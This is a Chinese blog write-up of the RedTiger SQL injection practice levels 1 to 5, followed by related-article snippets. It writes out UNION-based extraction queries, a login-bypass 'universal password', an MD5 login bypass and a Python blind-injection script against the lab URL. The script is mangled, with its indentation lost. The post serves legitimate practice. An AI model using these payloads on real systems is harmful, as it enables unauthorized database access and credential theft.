感觉会的东西太少了,以后要多练习,多写博客。要坚持学习,一定不能放弃,为梦想奋斗。

redtiger  这个平台早就开始做了,但是才做到第4关。。。。

第一关

打开题,

先随便试,后来发现点击 Category 后的1 可以注入,

然后就是注入了,构造cat=1'' 还报错,估计是数字型注入,然后构造cat=1 order by 1猜列数,得出是4个。

cat=1 union select 1,2,3,4 发现回显3,4。

我用information_schema这个库,但是不行,仔细看页面发现已经给了表名,学网安也需要视力啊。

直接cat=1 union select 1,2,password,4 from level1_users

用户名也给出了,然后就登录进入第二关吧!

第二关:

看题想到万能密码,我试了很多次都登不上,看了别人的操作,感觉我输入的和他一样啊,咋就进不去了。。。。

直接粘贴复制的万能密码登录。

username=admin' or '1'='1          password='or 1=1#

第三关:

我在这关采坑时间最长,翻遍了所有人的writeup,就是不行。。。后来才知道问题所在。

提示是,报错注入。点击TheCow  ,看到url明显经过加密,函数报错。。。也不知道怎么加密,就试了数组  usr[]=.......

进入这个文件,发现加密解密函数

然后构造 注入语句 加密就可以了。(不知道是php版本不同还是linux和windows不同导致的随机数不同,加密的结果也不同,我就踩了这个坑。)

这个网址有详细注入过程:https://www.jianshu.com/p/84d543cff8c0

第四关:

进入第四关,发现注入只会回显0或1,应该是布尔盲注。

猜一下keyword长度,id=1 and length(keyword)=   得出21.

构造url语句 id=1 and ascii(substr((keyword,1,1)))=

盲注脚本:

import string
from re import *
from urllib.request import * answer=""
char=string.printable
login ={'Cookie':'level4login=there_is_no_bug'}
url="https://redtiger.labs.overthewire.org/level4.php?id=1%20and%20ascii(substr((select%20keyword%20from%20level4_secret),{0},1))={1}" for q in range(1,22):
for i in range(1,127):
test=(url .format(q,i))
request=Request(test,None,headers=login)
res=urlopen(request)
s=res.read().decode()
if(findall("Query returned 1 rows.",s)):
print("{0} ".format(q)+i)
answer+=i
break print(answer)

跑出答案,进入第五关。

第五关:

看提示,过滤了几个函数,而且不是盲注,bapass 登录,密码是md5加密。

先随便输一个账号密码,返回 user not found。

然后构造一个:

返回,login failed。可见 username已经绕过。然后order by查询,发现不可以。直接union select 试吧。

得出字段是2。

构造:username=' union select 1,'c81e728d9d4c2f636f067f89cc14862c'#

password=2

过关。。。。

(后5关再写另一篇)

Redtiger SQL注入练习(一)的更多相关文章

  1. Redtiger SQL注入练习(二)

    第六关: 点击 click me,构造url:user=1',返回user not found.user=1'',同样. 猜测是数字型注入,构造order by , user=1 order by  ...

  2. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  3. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  4. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  5. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  6. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  7. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  8. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  9. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

随机推荐

  1. Redis【入门】就这一篇!

    Redis 概述 在我们日常的Java Web开发中,无不都是使用数据库来进行数据的存储,由于一般的系统任务中通常不会存在高并发的情况,所以这样看起来并没有什么问题,可是一旦涉及大数据量的需求,比如一 ...

  2. NiftyNet 数据预处理

    NiftyNet项目介绍 使用NiftyNet时,我们需要先将图像数据和标签进行一次简单的处理,得到对应的.csv文件. 对应文件格式为: img.csv image path img_name im ...

  3. Jenkins结合.net平台综合之权限修正和文件排除

    笔者在发布项目的时候遇到这样一个问题,第一次发布的时候成功发布,然后再次发布失败.但是这个问题很快就排除了,这里提出来是为了帮助遇到这个问题的小伙伴,以顺利避开坑.之所以会这样是因为我们在设置权限的时 ...

  4. c#委托中的同步和异步方法即BeginInvoke和EndInvoke

    学习多线程之前我们先了解一下电脑的一些概念,比如进程,线程,这个参考https://www.cnblogs.com/loverwangshan/p/10409755.html 这篇文章.今天我们接着来 ...

  5. 【转载】C#将图片转换为二进制流调用

    在C#中可以使用MemoryStream类.BinaryFormatter类等来操作图片,将图片读取到二进制数据流中,最终转成二进制数据流进行调用,详细的实现如下方法所示. private byte[ ...

  6. 杭电ACM2012--素数判定

    素数判定 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submis ...

  7. Android破解学习之路(十三)—— 另类的破解VIP思路

    前言 一般按照以往,我们想要获得某个软件的VIP,一般是通过修改支付宝的支付流程,原本购买失败的,我们修改代码,从而使得失败变成了成功,不花费金钱 另类思路 有些软件将判断用户是否为VIP的代码写在了 ...

  8. 零基础学Python--------进阶篇 第6章 函数

    第6章 函数 6.1函数的创建和调用 提到函数,大家会想到数学函数吧,函数是数学最重要的一个模块,贯穿整个数学学习过程.在Python中,函数的应用非常广泛.在前面我们已经多次接触过函数.例如,用于输 ...

  9. js数组方法大全

    JavaScript中创建数组有两种方式 (一)使用 Array 构造函数: var arr1 = new Array(); //创建一个空数组var arr2 = new Array(20); // ...

  10. #WEB安全基础 : HTML/CSS | 0x10实现交互_表单

    先看看表单如何工作吧 请求   响应   简要工作流程: 浏览器加载页面 用户输入数据 用户提交表单 服务器响应 概念都清楚了,我们来写表单吧 只有一个html文件   这是显示   你可以向空白框框 ...